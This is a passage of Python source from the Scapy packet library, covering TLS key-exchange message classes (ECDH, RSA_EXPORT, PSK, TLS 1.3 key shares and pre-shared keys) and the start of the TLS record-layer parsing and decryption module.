_ECBasisField("basis", ECTrinomialBasis(), lambda pkt: pkt.basis_type, _tls_ec_basis_cls), PacketField("curve", ECCurvePkt(), ECCurvePkt), FieldLenField("baselen", None, length_of="base", fmt="B"), StrLenField("base", "", length_from=lambda pkt: pkt.baselen), ByteField("order", None), ByteField("cofactor", None), FieldLenField("pointlen", None, length_of="point", fmt="B"), StrLenField("point", "", length_from=lambda pkt: pkt.pointlen)] def fill_missing(self): if self.curve_type is None: self.curve_type = _tls_ec_curve_types["explicit_char2"] def guess_payload_class(self, p): return Padding class ServerECDHNamedCurveParams(_GenericTLSSessionInheritance): name = "Server ECDH parameters - Named Curve" fields_desc = [ByteEnumField("curve_type", 3, _tls_ec_curve_types), ShortEnumField("named_curve", None, _tls_named_curves), FieldLenField("pointlen", None, length_of="point", fmt="B"), StrLenField("point", None, length_from=lambda pkt: pkt.pointlen)] @crypto_validator def fill_missing(self): """ We do not want TLSServerKeyExchange.build() to overload and recompute things every time it is called. This method can be called specifically to have things filled in a smart fashion. XXX We should account for the point_format (before 'point' filling). """ s = self.tls_session if self.curve_type is None: self.curve_type = _tls_ec_curve_types["named_curve"] if self.named_curve is None: self.named_curve = 23 curve_group = self.named_curve if curve_group not in _tls_named_curves: # this fallback is arguable curve_group = 23 # default to secp256r1 s.server_kx_privkey = _tls_named_groups_generate(curve_group) if self.point is None: self.point = _tls_named_groups_pubbytes( s.server_kx_privkey ) # else, we assume that the user wrote the server_kx_privkey by himself if self.pointlen is None: self.pointlen = len(self.point) if not s.client_kx_ecdh_params: s.client_kx_ecdh_params = curve_group @crypto_validator def register_pubkey(self): """ XXX Support compressed point format. XXX Check that the pubkey received is on the curve. """ # point_format = 0 # if self.point[0] in [b'\x02', b'\x03']: # point_format = 1 s = self.tls_session s.server_kx_pubkey = _tls_named_groups_import( self.named_curve, self.point ) if not s.client_kx_ecdh_params: s.client_kx_ecdh_params = self.named_curve def post_dissection(self, r): try: self.register_pubkey() except ImportError: pass def guess_payload_class(self, p): return Padding _tls_server_ecdh_cls = {1: ServerECDHExplicitPrimeParams, 2: ServerECDHExplicitChar2Params, 3: ServerECDHNamedCurveParams} def _tls_server_ecdh_cls_guess(m): if not m: return None curve_type = orb(m[0]) return _tls_server_ecdh_cls.get(curve_type, None) # RSA Encryption (export) class ServerRSAParams(_GenericTLSSessionInheritance): """ Defined for RSA_EXPORT kx : it enables servers to share RSA keys shorter than their principal {>512}-bit key, when it is not allowed for kx. This should not appear in standard RSA kx negotiation, as the key has already been advertised in the Certificate message. """ name = "Server RSA_EXPORT parameters" fields_desc = [FieldLenField("rsamodlen", None, length_of="rsamod"), StrLenField("rsamod", "", length_from=lambda pkt: pkt.rsamodlen), FieldLenField("rsaexplen", None, length_of="rsaexp"), StrLenField("rsaexp", "", length_from=lambda pkt: pkt.rsaexplen)] @crypto_validator def fill_missing(self): k = PrivKeyRSA() k.fill_and_store(modulusLen=512) self.tls_session.server_tmp_rsa_key = k pubNum = k.pubkey.public_numbers() if not self.rsamod: self.rsamod = pkcs_i2osp(pubNum.n, k.pubkey.key_size // 8) if self.rsamodlen is None: self.rsamodlen = len(self.rsamod) rsaexplen = math.ceil(math.log(pubNum.e) / math.log(2) / 8.) if not self.rsaexp: self.rsaexp = pkcs_i2osp(pubNum.e, rsaexplen) if self.rsaexplen is None: self.rsaexplen = len(self.rsaexp) @crypto_validator def register_pubkey(self): mLen = self.rsamodlen m = self.rsamod e = self.rsaexp self.tls_session.server_tmp_rsa_key = PubKeyRSA((e, m, mLen)) def post_dissection(self, pkt): try: self.register_pubkey() except ImportError: pass def guess_payload_class(self, p): return Padding # Pre-Shared Key class ServerPSKParams(Packet): """ XXX We provide some parsing abilities for ServerPSKParams, but the context operations have not been implemented yet. See RFC 4279. Note that we do not cover the (EC)DHE_PSK key exchange, which should contain a Server*DHParams after 'psk_identity_hint'. """ name = "Server PSK parameters" fields_desc = [FieldLenField("psk_identity_hint_len", None, length_of="psk_identity_hint", fmt="!H"), StrLenField("psk_identity_hint", "", length_from=lambda pkt: pkt.psk_identity_hint_len)] # noqa: E501 def fill_missing(self): pass def post_dissection(self, pkt): pass def guess_payload_class(self, p): return Padding ############################################################################### # Client Key Exchange value # ############################################################################### # FFDH/ECDH class ClientDiffieHellmanPublic(_GenericTLSSessionInheritance): """ If the user provides a value for dh_Yc attribute, we assume he will set the pms and ms accordingly and trigger the key derivation on his own. XXX As specified in 7.4.7.2. of RFC 4346, we should distinguish the needs for implicit or explicit value depending on availability of DH parameters in *client* certificate. For now we can only do ephemeral/explicit DH. """ name = "Client DH Public Value" fields_desc = [FieldLenField("dh_Yclen", None, length_of="dh_Yc"), StrLenField("dh_Yc", "", length_from=lambda pkt: pkt.dh_Yclen)] @crypto_validator def fill_missing(self): s = self.tls_session s.client_kx_privkey = s.client_kx_ffdh_params.generate_private_key() pubkey = s.client_kx_privkey.public_key() y = pubkey.public_numbers().y self.dh_Yc = pkcs_i2osp(y, pubkey.key_size // 8) if s.client_kx_privkey and s.server_kx_pubkey: pms = s.client_kx_privkey.exchange(s.server_kx_pubkey) s.pre_master_secret = pms s.compute_ms_and_derive_keys() def post_build(self, pkt, pay): if not self.dh_Yc: try: self.fill_missing() except ImportError: pass if self.dh_Yclen is None: self.dh_Yclen = len(self.dh_Yc) return pkcs_i2osp(self.dh_Yclen, 2) + self.dh_Yc + pay def post_dissection(self, m): """ First we update the client DHParams. Then, we try to update the server DHParams generated during Server*DHParams building, with the shared secret. Finally, we derive the session keys and update the context. """ s = self.tls_session # if there are kx params and keys, we assume the crypto library is ok if s.client_kx_ffdh_params: y = pkcs_os2ip(self.dh_Yc) param_numbers = s.client_kx_ffdh_params.parameter_numbers() public_numbers = dh.DHPublicNumbers(y, param_numbers) s.client_kx_pubkey = public_numbers.public_key(default_backend()) if s.server_kx_privkey and s.client_kx_pubkey: ZZ = s.server_kx_privkey.exchange(s.client_kx_pubkey) s.pre_master_secret = ZZ s.compute_ms_and_derive_keys() def guess_payload_class(self, p): return Padding class ClientECDiffieHellmanPublic(_GenericTLSSessionInheritance): """ Note that the 'len' field is 1 byte longer than with the previous class. """ name = "Client ECDH Public Value" fields_desc = [FieldLenField("ecdh_Yclen", None, length_of="ecdh_Yc", fmt="B"), StrLenField("ecdh_Yc", "", length_from=lambda pkt: pkt.ecdh_Yclen)] @crypto_validator def fill_missing(self): s = self.tls_session s.client_kx_privkey = _tls_named_groups_generate( s.client_kx_ecdh_params ) pubkey = s.client_kx_privkey.public_key() x = pubkey.public_numbers().x y = pubkey.public_numbers().y self.ecdh_Yc = (b"\x04" + pkcs_i2osp(x, pubkey.key_size // 8) + pkcs_i2osp(y, pubkey.key_size // 8)) if s.client_kx_privkey and s.server_kx_pubkey: pms = s.client_kx_privkey.exchange(ec.ECDH(), s.server_kx_pubkey) s.pre_master_secret = pms s.compute_ms_and_derive_keys() def post_build(self, pkt, pay): if not self.ecdh_Yc: try: self.fill_missing() except ImportError: pass if self.ecdh_Yclen is None: self.ecdh_Yclen = len(self.ecdh_Yc) return pkcs_i2osp(self.ecdh_Yclen, 1) + self.ecdh_Yc + pay def post_dissection(self, m): s = self.tls_session # if there are kx params and keys, we assume the crypto library is ok if s.client_kx_ecdh_params: s.client_kx_pubkey = _tls_named_groups_import( s.client_kx_ecdh_params, self.ecdh_Yc ) if s.server_kx_privkey and s.client_kx_pubkey: ZZ = s.server_kx_privkey.exchange(ec.ECDH(), s.client_kx_pubkey) s.pre_master_secret = ZZ s.compute_ms_and_derive_keys() # RSA Encryption (standard & export) class _UnEncryptedPreMasterSecret(Raw): """ When the content of an EncryptedPreMasterSecret could not be deciphered, we use this class to represent the encrypted data. """ name = "RSA Encrypted PreMaster Secret (protected)" def __init__(self, *args, **kargs): kargs.pop('tls_session', None) return super(_UnEncryptedPreMasterSecret, self).__init__(*args, **kargs) # noqa: E501 class EncryptedPreMasterSecret(_GenericTLSSessionInheritance): """ Pay attention to implementation notes in section 7.4.7.1 of RFC 5246. """ name = "RSA Encrypted PreMaster Secret" fields_desc = [_TLSClientVersionField("client_version", None, _tls_version), StrFixedLenField("random", None, 46)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and 'tls_session' in kargs: s = kargs['tls_session'] if s.server_tmp_rsa_key is None and s.server_rsa_key is None: return _UnEncryptedPreMasterSecret return EncryptedPreMasterSecret def pre_dissect(self, m): s = self.tls_session tbd = m tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0301: if len(m) < 2: # Should not happen return m tmp_len = struct.unpack("!H", m[:2])[0] if len(m) != tmp_len + 2: err = "TLS 1.0+, but RSA Encrypted PMS with no explicit length" warning(err) else: tbd = m[2:] if s.server_tmp_rsa_key is not None: # priority is given to the tmp_key, if there is one decrypted = s.server_tmp_rsa_key.decrypt(tbd) pms = decrypted[-48:] elif s.server_rsa_key is not None: decrypted = s.server_rsa_key.decrypt(tbd) pms = decrypted[-48:] else: # the dispatch_hook is supposed to prevent this case pms = b"\x00" * 48 err = "No server RSA key to decrypt Pre Master Secret. Skipping." warning(err) s.pre_master_secret = pms s.compute_ms_and_derive_keys() return pms def post_build(self, pkt, pay): """ We encrypt the premaster secret (the 48 bytes) with either the server certificate or the temporary RSA key provided in a server key exchange message. After that step, we add the 2 bytes to provide the length, as described in implementation notes at the end of section 7.4.7.1. """ enc = pkt s = self.tls_session s.pre_master_secret = enc s.compute_ms_and_derive_keys() if s.server_tmp_rsa_key is not None: enc = s.server_tmp_rsa_key.encrypt(pkt, t="pkcs") elif s.server_certs is not None and len(s.server_certs) > 0: enc = s.server_certs[0].encrypt(pkt, t="pkcs") else: warning("No material to encrypt Pre Master Secret") tmp_len = b"" tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0301: tmp_len = struct.pack("!H", len(enc)) return tmp_len + enc + pay def guess_payload_class(self, p): return Padding # Pre-Shared Key class ClientPSKIdentity(Packet): """ XXX We provide parsing abilities for ServerPSKParams, but the context operations have not been implemented yet. See RFC 4279. Note that we do not cover the (EC)DHE_PSK nor the RSA_PSK key exchange, which should contain either an EncryptedPMS or a ClientDiffieHellmanPublic. """ name = "Server PSK parameters" fields_desc = [FieldLenField("psk_identity_len", None, length_of="psk_identity", fmt="!H"), StrLenField("psk_identity", "", length_from=lambda pkt: pkt.psk_identity_len)] scapy-2.4.4/scapy/layers/tls/keyexchange_tls13.py000066400000000000000000000261151372370053500217650ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2017 Maxence Tury # 2019 Romain Perez # This program is published under a GPLv2 license """ TLS 1.3 key exchange logic. """ import struct from scapy.config import conf, crypto_validator from scapy.error import log_runtime from scapy.fields import FieldLenField, IntField, PacketField, \ PacketListField, ShortEnumField, ShortField, StrFixedLenField, \ StrLenField from scapy.packet import Packet, Padding from scapy.layers.tls.extensions import TLS_Ext_Unknown, _tls_ext from scapy.layers.tls.crypto.groups import ( _tls_named_curves, _tls_named_ffdh_groups, _tls_named_groups, _tls_named_groups_generate, _tls_named_groups_import, _tls_named_groups_pubbytes, ) import scapy.modules.six as six if conf.crypto_valid: from cryptography.hazmat.primitives.asymmetric import ec class KeyShareEntry(Packet): """ When building from scratch, we create a DH private key, and when dissecting, we create a DH public key. Default group is secp256r1. """ __slots__ = ["privkey", "pubkey"] name = "Key Share Entry" fields_desc = [ShortEnumField("group", None, _tls_named_groups), FieldLenField("kxlen", None, length_of="key_exchange"), StrLenField("key_exchange", "", length_from=lambda pkt: pkt.kxlen)] def __init__(self, *args, **kargs): self.privkey = None self.pubkey = None super(KeyShareEntry, self).__init__(*args, **kargs) def do_build(self): """ We need this hack, else 'self' would be replaced by __iter__.next(). """ tmp = self.explicit self.explicit = True b = super(KeyShareEntry, self).do_build() self.explicit = tmp return b @crypto_validator def create_privkey(self): """ This is called by post_build() for key creation. """ self.privkey = _tls_named_groups_generate(self.group) self.key_exchange = _tls_named_groups_pubbytes(self.privkey) def post_build(self, pkt, pay): if self.group is None: self.group = 23 # secp256r1 if not self.key_exchange: try: self.create_privkey() except ImportError: pass if self.kxlen is None: self.kxlen = len(self.key_exchange) group = struct.pack("!H", self.group) kxlen = struct.pack("!H", self.kxlen) return group + kxlen + self.key_exchange + pay @crypto_validator def register_pubkey(self): self.pubkey = _tls_named_groups_import( self.group, self.key_exchange ) def post_dissection(self, r): try: self.register_pubkey() except ImportError: pass def extract_padding(self, s): return "", s class TLS_Ext_KeyShare_CH(TLS_Ext_Unknown): name = "TLS Extension - Key Share (for ClientHello)" fields_desc = [ShortEnumField("type", 0x33, _tls_ext), ShortField("len", None), FieldLenField("client_shares_len", None, length_of="client_shares"), PacketListField("client_shares", [], KeyShareEntry, length_from=lambda pkt: pkt.client_shares_len)] # noqa: E501 def post_build(self, pkt, pay): if not self.tls_session.frozen: privshares = self.tls_session.tls13_client_privshares for kse in self.client_shares: if kse.privkey: if _tls_named_curves[kse.group] in privshares: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: group %s used twice in the same ClientHello [%s]", kse.group, pkt_info) # noqa: E501 break privshares[_tls_named_groups[kse.group]] = kse.privkey return super(TLS_Ext_KeyShare_CH, self).post_build(pkt, pay) def post_dissection(self, r): if not self.tls_session.frozen: for kse in self.client_shares: if kse.pubkey: pubshares = self.tls_session.tls13_client_pubshares if _tls_named_curves[kse.group] in pubshares: pkt_info = r.firstlayer().summary() log_runtime.info("TLS: group %s used twice in the same ClientHello [%s]", kse.group, pkt_info) # noqa: E501 break pubshares[_tls_named_curves[kse.group]] = kse.pubkey return super(TLS_Ext_KeyShare_CH, self).post_dissection(r) class TLS_Ext_KeyShare_HRR(TLS_Ext_Unknown): name = "TLS Extension - Key Share (for HelloRetryRequest)" fields_desc = [ShortEnumField("type", 0x33, _tls_ext), ShortField("len", None), ShortEnumField("selected_group", None, _tls_named_groups)] class TLS_Ext_KeyShare_SH(TLS_Ext_Unknown): name = "TLS Extension - Key Share (for ServerHello)" fields_desc = [ShortEnumField("type", 0x33, _tls_ext), ShortField("len", None), PacketField("server_share", None, KeyShareEntry)] def post_build(self, pkt, pay): if not self.tls_session.frozen and self.server_share.privkey: # if there is a privkey, we assume the crypto library is ok privshare = self.tls_session.tls13_server_privshare if len(privshare) > 0: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: overwriting previous server key share [%s]", pkt_info) # noqa: E501 group_name = _tls_named_groups[self.server_share.group] privshare[group_name] = self.server_share.privkey if group_name in self.tls_session.tls13_client_pubshares: privkey = self.server_share.privkey pubkey = self.tls_session.tls13_client_pubshares[group_name] if group_name in six.itervalues(_tls_named_ffdh_groups): pms = privkey.exchange(pubkey) elif group_name in six.itervalues(_tls_named_curves): if group_name in ["x25519", "x448"]: pms = privkey.exchange(pubkey) else: pms = privkey.exchange(ec.ECDH(), pubkey) self.tls_session.tls13_dhe_secret = pms return super(TLS_Ext_KeyShare_SH, self).post_build(pkt, pay) def post_dissection(self, r): if not self.tls_session.frozen and self.server_share.pubkey: # if there is a pubkey, we assume the crypto library is ok pubshare = self.tls_session.tls13_server_pubshare if pubshare: pkt_info = r.firstlayer().summary() log_runtime.info("TLS: overwriting previous server key share [%s]", pkt_info) # noqa: E501 group_name = _tls_named_groups[self.server_share.group] pubshare[group_name] = self.server_share.pubkey if group_name in self.tls_session.tls13_client_privshares: pubkey = self.server_share.pubkey privkey = self.tls_session.tls13_client_privshares[group_name] if group_name in six.itervalues(_tls_named_ffdh_groups): pms = privkey.exchange(pubkey) elif group_name in six.itervalues(_tls_named_curves): if group_name in ["x25519", "x448"]: pms = privkey.exchange(pubkey) else: pms = privkey.exchange(ec.ECDH(), pubkey) self.tls_session.tls13_dhe_secret = pms elif group_name in self.tls_session.tls13_server_privshare: pubkey = self.tls_session.tls13_client_pubshares[group_name] privkey = self.tls_session.tls13_server_privshare[group_name] if group_name in six.itervalues(_tls_named_ffdh_groups): pms = privkey.exchange(pubkey) elif group_name in six.itervalues(_tls_named_curves): if group_name in ["x25519", "x448"]: pms = privkey.exchange(pubkey) else: pms = privkey.exchange(ec.ECDH(), pubkey) self.tls_session.tls13_dhe_secret = pms return super(TLS_Ext_KeyShare_SH, self).post_dissection(r) _tls_ext_keyshare_cls = {1: TLS_Ext_KeyShare_CH, 2: TLS_Ext_KeyShare_SH} _tls_ext_keyshare_hrr_cls = {2: TLS_Ext_KeyShare_HRR} class Ticket(Packet): name = "Recommended Ticket Construction (from RFC 5077)" fields_desc = [StrFixedLenField("key_name", None, 16), StrFixedLenField("iv", None, 16), FieldLenField("encstatelen", None, length_of="encstate"), StrLenField("encstate", "", length_from=lambda pkt: pkt.encstatelen), StrFixedLenField("mac", None, 32)] class TicketField(PacketField): __slots__ = ["length_from"] def __init__(self, name, default, length_from=None, **kargs): self.length_from = length_from PacketField.__init__(self, name, default, Ticket, **kargs) def m2i(self, pkt, m): tmp_len = self.length_from(pkt) tbd, rem = m[:tmp_len], m[tmp_len:] return self.cls(tbd) / Padding(rem) class PSKIdentity(Packet): name = "PSK Identity" fields_desc = [FieldLenField("identity_len", None, length_of="identity"), TicketField("identity", "", length_from=lambda pkt: pkt.identity_len), IntField("obfuscated_ticket_age", 0)] class PSKBinderEntry(Packet): name = "PSK Binder Entry" fields_desc = [FieldLenField("binder_len", None, fmt="B", length_of="binder"), StrLenField("binder", "", length_from=lambda pkt: pkt.binder_len)] class TLS_Ext_PreSharedKey_CH(TLS_Ext_Unknown): # XXX define post_build and post_dissection methods name = "TLS Extension - Pre Shared Key (for ClientHello)" fields_desc = [ShortEnumField("type", 0x29, _tls_ext), ShortField("len", None), FieldLenField("identities_len", None, length_of="identities"), PacketListField("identities", [], PSKIdentity, length_from=lambda pkt: pkt.identities_len), FieldLenField("binders_len", None, length_of="binders"), PacketListField("binders", [], PSKBinderEntry, length_from=lambda pkt: pkt.binders_len)] class TLS_Ext_PreSharedKey_SH(TLS_Ext_Unknown): name = "TLS Extension - Pre Shared Key (for ServerHello)" fields_desc = [ShortEnumField("type", 0x29, _tls_ext), ShortField("len", None), ShortField("selected_identity", None)] _tls_ext_presharedkey_cls = {1: TLS_Ext_PreSharedKey_CH, 2: TLS_Ext_PreSharedKey_SH} scapy-2.4.4/scapy/layers/tls/record.py000066400000000000000000001017771372370053500177320ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez # 2019 Gabriel Potter # This program is published under a GPLv2 license """ Common TLS fields & bindings. This module covers the record layer, along with the ChangeCipherSpec, Alert and ApplicationData submessages. For the Handshake type, see tls_handshake.py. See the TLS class documentation for more information. """ import struct from scapy.config import conf from scapy.error import log_runtime from scapy.fields import ByteEnumField, PacketListField, StrField from scapy.compat import raw, chb, orb from scapy.utils import randstring from scapy.packet import Raw, Padding, bind_layers from scapy.layers.inet import TCP from scapy.layers.tls.session import _GenericTLSSessionInheritance from scapy.layers.tls.handshake import (_tls_handshake_cls, _TLSHandshake, _tls13_handshake_cls, TLS13ServerHello, TLS13ClientHello) from scapy.layers.tls.basefields import (_TLSVersionField, _tls_version, _TLSIVField, _TLSMACField, _TLSPadField, _TLSPadLenField, _TLSLengthField, _tls_type) from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp from scapy.layers.tls.crypto.cipher_aead import AEADTagError from scapy.layers.tls.crypto.cipher_stream import Cipher_NULL from scapy.layers.tls.crypto.common import CipherError from scapy.layers.tls.crypto.h_mac import HMACError import scapy.modules.six as six if conf.crypto_valid_advanced: from scapy.layers.tls.crypto.cipher_aead import Cipher_CHACHA20_POLY1305 # Util def _tls_version_check(version, min): """Returns if version >= min, or False if version == None""" if version is None: return False return version >= min ############################################################################### # TLS Record Protocol # ############################################################################### class _TLSEncryptedContent(Raw, _GenericTLSSessionInheritance): """ When the content of a TLS record (more precisely, a TLSCiphertext) could not be deciphered, we use this class to represent the encrypted data. The MAC will still be parsed from the whole message, even though it could not been verified. When present (depending on cipher type and protocol version), the nonce_explicit, IV and/or padding will also be parsed. """ name = "Encrypted Content" match_subclass = True class _TLSMsgListField(PacketListField): """ This is the actual content of the TLS record. As a TLS record may pack multiple sublayer messages (notably, several handshake messages), we inherit from PacketListField. """ def __init__(self, name, default, length_from=None): if not length_from: length_from = self._get_length super(_TLSMsgListField, self).__init__(name, default, cls=None, length_from=length_from) def _get_length(self, pkt): if pkt.deciphered_len is None: return pkt.len return pkt.deciphered_len def m2i(self, pkt, m): """ Try to parse one of the TLS subprotocols (ccs, alert, handshake or application_data). This is used inside a loop managed by .getfield(). """ cls = Raw if pkt.type == 22: if len(m) >= 1: msgtype = orb(m[0]) if ((pkt.tls_session.advertised_tls_version == 0x0304) or (pkt.tls_session.tls_version and pkt.tls_session.tls_version == 0x0304)): cls = _tls13_handshake_cls.get(msgtype, Raw) else: cls = _tls_handshake_cls.get(msgtype, Raw) elif pkt.type == 20: cls = TLSChangeCipherSpec elif pkt.type == 21: cls = TLSAlert elif pkt.type == 23: cls = TLSApplicationData if cls is Raw: return Raw(m) else: try: return cls(m, tls_session=pkt.tls_session) except Exception: if conf.debug_dissector: raise return Raw(m) def getfield(self, pkt, s): """ If the decryption of the content did not fail with a CipherError, we begin a loop on the clear content in order to get as much messages as possible, of the type advertised in the record header. This is notably important for several TLS handshake implementations, which may for instance pack a server_hello, a certificate, a server_key_exchange and a server_hello_done, all in one record. Each parsed message may update the TLS context through their method .post_dissection_tls_session_update(). If the decryption failed with a CipherError, presumably because we missed the session keys, we signal it by returning a _TLSEncryptedContent packet which simply contains the ciphered data. """ tmp_len = self.length_from(pkt) lst = [] ret = b"" remain = s if tmp_len is not None: remain, ret = s[:tmp_len], s[tmp_len:] if remain == b"": if (((pkt.tls_session.tls_version or 0x0303) > 0x0200) and hasattr(pkt, "type") and pkt.type == 23): return ret, [TLSApplicationData(data=b"")] elif hasattr(pkt, "type") and pkt.type == 20: return ret, [TLSChangeCipherSpec()] else: return ret, [Raw(load=b"")] if False in six.itervalues(pkt.tls_session.rcs.cipher.ready): return ret, _TLSEncryptedContent(remain) else: while remain: raw_msg = remain p = self.m2i(pkt, remain) if Padding in p: pad = p[Padding] remain = pad.load del pad.underlayer.payload if len(remain) != 0: raw_msg = raw_msg[:-len(remain)] else: remain = b"" if isinstance(p, _GenericTLSSessionInheritance): if not p.tls_session.frozen: p.post_dissection_tls_session_update(raw_msg) lst.append(p) return remain + ret, lst def i2m(self, pkt, p): """ Update the context with information from the built packet. If no type was given at the record layer, we try to infer it. """ cur = b"" if isinstance(p, _GenericTLSSessionInheritance): if pkt.type is None: if isinstance(p, TLSChangeCipherSpec): pkt.type = 20 elif isinstance(p, TLSAlert): pkt.type = 21 elif isinstance(p, _TLSHandshake): pkt.type = 22 elif isinstance(p, TLSApplicationData): pkt.type = 23 p.tls_session = pkt.tls_session if not pkt.tls_session.frozen: cur = p.raw_stateful() p.post_build_tls_session_update(cur) else: cur = raw(p) else: pkt.type = 23 cur = raw(p) return cur def addfield(self, pkt, s, val): """ Reconstruct the header because the TLS type may have been updated. Then, append the content. """ res = b"" for p in val: res += self.i2m(pkt, p) # Add TLS13ClientHello in case of HelloRetryRequest # Add ChangeCipherSpec for middlebox compatibility if (isinstance(pkt, _GenericTLSSessionInheritance) and _tls_version_check(pkt.tls_session.tls_version, 0x0304) and not isinstance(pkt.msg[0], TLS13ServerHello) and not isinstance(pkt.msg[0], TLS13ClientHello) and not isinstance(pkt.msg[0], TLSChangeCipherSpec)): return s + res if not pkt.type: pkt.type = 0 hdr = struct.pack("!B", pkt.type) + s[1:5] return hdr + res def _ssl_looks_like_sslv2(dat): """ This is a copycat of wireshark's `packet-tls.c` ssl_looks_like_sslv2 """ if len(dat) < 3: return from scapy.layers.tls.handshake_sslv2 import _sslv2_handshake_type return ord(dat[:1]) >= 0x80 and ord(dat[2:3]) in _sslv2_handshake_type class TLS(_GenericTLSSessionInheritance): """ The generic TLS Record message, based on section 6.2 of RFC 5246. When reading a TLS message, we try to parse as much as we can. In .pre_dissect(), according to the type of the current cipher algorithm (self.tls_session.rcs.cipher.type), we extract the 'iv', 'mac', 'pad' and 'padlen'. Some of these fields may remain blank: for instance, when using a stream cipher, there is no IV nor any padding. The 'len' should always hold the length of the ciphered message; for the plaintext version, you should rely on the additional 'deciphered_len' attribute. XXX Fix 'deciphered_len' which should not be defined when failing with AEAD decryption. This is related to the 'decryption_success' below. Also, follow this behaviour in record_sslv2.py and record_tls13.py Once we have isolated the ciphered message aggregate (which should be one or several TLS messages of the same type), we try to decipher it. Either we succeed and store the clear data in 'msg', or we graciously fail with a CipherError and store the ciphered data in 'msg'. Unless the user manually provides the session secrets through the passing of a 'tls_session', obviously the ciphered messages will not be deciphered. Indeed, the need for a proper context may also present itself when trying to parse clear handshake messages. For instance, suppose you sniffed the beginning of a DHE-RSA negotiation:: t1 = TLS() t2 = TLS() t3 = TLS(, tls_session=t1.tls_session) (Note that to do things properly, here 't1.tls_session' should actually be 't1.tls_session.mirror()'. See session.py for explanations.) As no context was passed to t2, neither was any client_random. Hence Scapy will not be able to verify the signature of the server_key_exchange inside t2. However, it should be able to do so for t3, thanks to the tls_session. The consequence of not having a complete TLS context is even more obvious when trying to parse ciphered content, as we described before. Thus, in order to parse TLS-protected communications with Scapy: _either Scapy reads every message from one side of the TLS connection and builds every message from the other side (as such, it should know the secrets needed for the generation of the pre_master_secret), while passing the same tls_session context (this is how our automaton.py mostly works); _or, if Scapy did not build any TLS message, it has to create a TLS context and feed it with secrets retrieved by whatever technique. Note that the knowing the private key of the server certificate will not be sufficient if a PFS ciphersuite was used. However, if you got a master_secret somehow, use it with tls_session.(w|r)cs.derive_keys() and leave the rest to Scapy. When building a TLS message with raw_stateful, we expect the tls_session to have the right parameters for ciphering. Else, .post_build() might fail. """ __slots__ = ["deciphered_len"] name = "TLS" fields_desc = [ByteEnumField("type", None, _tls_type), _TLSVersionField("version", None, _tls_version), _TLSLengthField("len", None), _TLSIVField("iv", None), _TLSMsgListField("msg", []), _TLSMACField("mac", None), _TLSPadField("pad", None), _TLSPadLenField("padlen", None)] def __init__(self, *args, **kargs): self.deciphered_len = kargs.get("deciphered_len", None) super(TLS, self).__init__(*args, **kargs) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ If the TLS class was called on raw SSLv2 data, we want to return an SSLv2 record instance. We acknowledge the risk of SSLv2 packets with a msglen of 0x1403, 0x1503, 0x1603 or 0x1703 which will never be casted as SSLv2 records but TLS ones instead, but hey, we can't be held responsible for low-minded extensibility choices. """ if _pkt is not None: plen = len(_pkt) if plen >= 2: byte0, byte1 = struct.unpack("BB", _pkt[:2]) s = kargs.get("tls_session", None) if byte0 not in _tls_type or byte1 != 3: # Unknown type # Check SSLv2: either the session is already SSLv2, # either the packet looks like one. As said above, this # isn't 100% reliable, but Wireshark does the same if s and (s.tls_version == 0x0002 or s.advertised_tls_version == 0x0002) or \ (_ssl_looks_like_sslv2(_pkt) and (not s or s.tls_version is None)): from scapy.layers.tls.record_sslv2 import SSLv2 return SSLv2 # Not SSLv2: continuation return _TLSEncryptedContent # Check TLS 1.3 if s and _tls_version_check(s.tls_version, 0x0304): if (s.rcs and not isinstance(s.rcs.cipher, Cipher_NULL) and byte0 == 0x17): from scapy.layers.tls.record_tls13 import TLS13 return TLS13 if plen < 5: # Layer detected as TLS but too small to be a # parsed. Scapy should not try to decode them return _TLSEncryptedContent return TLS # Parsing methods def _tls_auth_decrypt(self, hdr, s): """ Provided with the record header and AEAD-ciphered data, return the sliced and clear tuple (nonce, TLSCompressed.fragment, mac). Note that we still return the slicing of the original input in case of decryption failure. Also, if the integrity check fails, a warning will be issued, but we still return the sliced (unauthenticated) plaintext. """ try: read_seq_num = struct.pack("!Q", self.tls_session.rcs.seq_num) self.tls_session.rcs.seq_num += 1 # self.type and self.version have not been parsed yet, # this is why we need to look into the provided hdr. add_data = read_seq_num + hdr[:3] # Last two bytes of add_data are appended by the return function return self.tls_session.rcs.cipher.auth_decrypt(add_data, s, read_seq_num) except CipherError as e: return e.args except AEADTagError as e: pkt_info = self.firstlayer().summary() log_runtime.info("TLS: record integrity check failed [%s]", pkt_info) # noqa: E501 return e.args def _tls_decrypt(self, s): """ Provided with stream- or block-ciphered data, return the clear version. The cipher should have been updated with the right IV early on, which should not be at the beginning of the input. In case of decryption failure, a CipherError will be raised with the slicing of the original input as first argument. """ return self.tls_session.rcs.cipher.decrypt(s) def _tls_hmac_verify(self, hdr, msg, mac): """ Provided with the record header, the TLSCompressed.fragment and the HMAC, return True if the HMAC is correct. If we could not compute the HMAC because the key was missing, there is no sense in verifying anything, thus we also return True. Meant to be used with a block cipher or a stream cipher. It would fail with an AEAD cipher, because rcs.hmac would be None. See RFC 5246, section 6.2.3. """ read_seq_num = struct.pack("!Q", self.tls_session.rcs.seq_num) self.tls_session.rcs.seq_num += 1 mac_len = self.tls_session.rcs.mac_len if mac_len == 0: # should be TLS_NULL_WITH_NULL_NULL return True if len(mac) != mac_len: return False alg = self.tls_session.rcs.hmac version = struct.unpack("!H", hdr[1:3])[0] try: if version > 0x300: h = alg.digest(read_seq_num + hdr + msg) elif version == 0x300: h = alg.digest_sslv3(read_seq_num + hdr[:1] + hdr[3:5] + msg) else: raise Exception("Unrecognized version.") except HMACError: h = mac return h == mac def _tls_decompress(self, s): """ Provided with the TLSCompressed.fragment, return the TLSPlaintext.fragment. """ alg = self.tls_session.rcs.compression return alg.decompress(s) def pre_dissect(self, s): """ Decrypt, verify and decompress the message, i.e. apply the previous methods according to the reading cipher type. If the decryption was successful, 'len' will be the length of the TLSPlaintext.fragment. Else, it should be the length of the _TLSEncryptedContent. """ if len(s) < 5: raise Exception("Invalid record: header is too 